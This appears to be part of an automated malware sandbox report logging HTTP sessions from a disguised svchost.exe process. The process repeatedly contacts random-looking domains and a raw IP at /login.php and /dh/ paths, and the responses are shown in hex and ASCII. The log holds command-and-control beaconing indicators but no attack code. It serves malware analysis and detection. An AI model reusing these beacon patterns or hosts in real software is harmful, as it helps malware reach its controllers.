                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:48:31.296396971 CET290OUTGET /dh/147287063_192768.html HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: 106.15.232.163:8000
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Nov 11, 2024 18:48:31.639108896 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: openresty/1.21.4.3
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:31 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 561
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.591203928 CET290OUTGET /dh/147287063_377283.html HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: 106.15.232.163:8000
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.877841949 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: openresty/1.21.4.3
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:56 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 561
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    21192.168.2.44975876.223.67.189807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.969819069 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qexyhuv.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.438601017 CET259INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: openresty
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:35 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 114
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    22192.168.2.449760103.224.182.252807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.146549940 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vofycot.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.716986895 CET338INHTTP/1.1 302 Found
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:35 GMT
                                                                                                                                                                                                                    server: Apache
                                                                                                                                                                                                                    set-cookie: __tad=1731347315.6084114; expires=Thu, 09-Nov-2034 17:48:35 GMT; Max-Age=315360000
                                                                                                                                                                                                                    location: http://ww16.vofycot.com/login.php?sub1=20241112-0448-35a2-b5f6-4a10d1addecc
                                                                                                                                                                                                                    content-length: 2
                                                                                                                                                                                                                    content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                    connection: close
                                                                                                                                                                                                                    Data Raw: 0a 0a
                                                                                                                                                                                                                    Data Ascii:


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    23192.168.2.44976144.221.84.105807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.179505110 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gadyciz.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.632834911 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:35 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=28ebda691eb034d3559cf05f4c55a51f|66.23.206.109|1731347315|1731347315|0|1|0; path=/; domain=.gadyciz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    24192.168.2.44976264.225.91.73807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.288247108 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: galynuh.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.862617016 CET816INHTTP/1.1 200 OK
                                                                                                                                                                                                                    server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:35 GMT
                                                                                                                                                                                                                    content-type: text/html
                                                                                                                                                                                                                    content-length: 593
                                                                                                                                                                                                                    last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                                    etag: "63f68860-251"
                                                                                                                                                                                                                    accept-ranges: bytes
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    25192.168.2.449763154.85.183.50807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.338768005 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyval.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.171957016 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:36 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 138
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    ETag: "663ee226-8a"
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.173549891 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyval.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.459239960 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:36 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 138
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    ETag: "663ee226-8a"
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.127242088 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyval.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.412532091 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:59 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 138
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    ETag: "663ee226-8a"
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.605259895 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyval.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.890232086 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:59 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 138
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    ETag: "663ee226-8a"
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    26192.168.2.449765103.224.212.210807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.708942890 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyxynyx.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.301574945 CET340INHTTP/1.1 302 Found
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:36 GMT
                                                                                                                                                                                                                    server: Apache
                                                                                                                                                                                                                    set-cookie: __tad=1731347316.6624222; expires=Thu, 09-Nov-2034 17:48:36 GMT; Max-Age=315360000
                                                                                                                                                                                                                    location: http://ww25.lyxynyx.com/login.php?subid1=20241112-0448-36a9-bee5-382e87a9b6f4
                                                                                                                                                                                                                    content-length: 2
                                                                                                                                                                                                                    content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                    connection: close
                                                                                                                                                                                                                    Data Raw: 0a 0a
                                                                                                                                                                                                                    Data Ascii:


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    27192.168.2.44976764.190.63.136807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.067502975 CET348OUTGET /login.php?sub1=20241112-0448-35a2-b5f6-4a10d1addecc HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: ww16.vofycot.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Cookie: __tad=1731347315.6084114
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.744754076 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:36 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                    transfer-encoding: chunked
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                                    cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                                    pragma: no-cache
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_RVMxDP8n3RY2xX1m7bGbH58BuWaZDdZTkvgXtZb510sF+P20f96QCOqk/8ULtqY8t9YnAHkL/ikr/TKE+0O0Hw==
                                                                                                                                                                                                                    last-modified: Mon, 11 Nov 2024 17:48:36 GMT
                                                                                                                                                                                                                    x-cache-miss-from: parking-7596689c44-ptvfg
                                                                                                                                                                                                                    server: Parking/1.0
                                                                                                                                                                                                                    Data Raw: 32 45 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 52 56 4d 78 44 50 38 6e 33 52 59 32 78 58 31 6d 37 62 47 62 48 35 38 42 75 57 61 5a 44 64 5a 54 6b 76 67 58 74 5a 62 35 31 30 73 46 2b 50 32 30 66 39 36 51 43 4f 71 6b 2f 38 55 4c 74 71 59 38 74 39 59 6e 41 48 6b 4c 2f 69 6b 72 2f 54 4b 45 2b 30 4f 30 48 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: 2E3<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_RVMxDP8n3RY2xX1m7bGbH58BuWaZDdZTkvgXtZb510sF+P20f96QCOqk/8ULtqY8t9YnAHkL/ikr/TKE+0O0Hw==><head><meta charset="utf-8"><title>vofycot.com&nbsp;-&nbsp;This website is for sale!&nbsp;-&nbsp;vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and bes
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.744827032 CET1236INData Raw: 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d
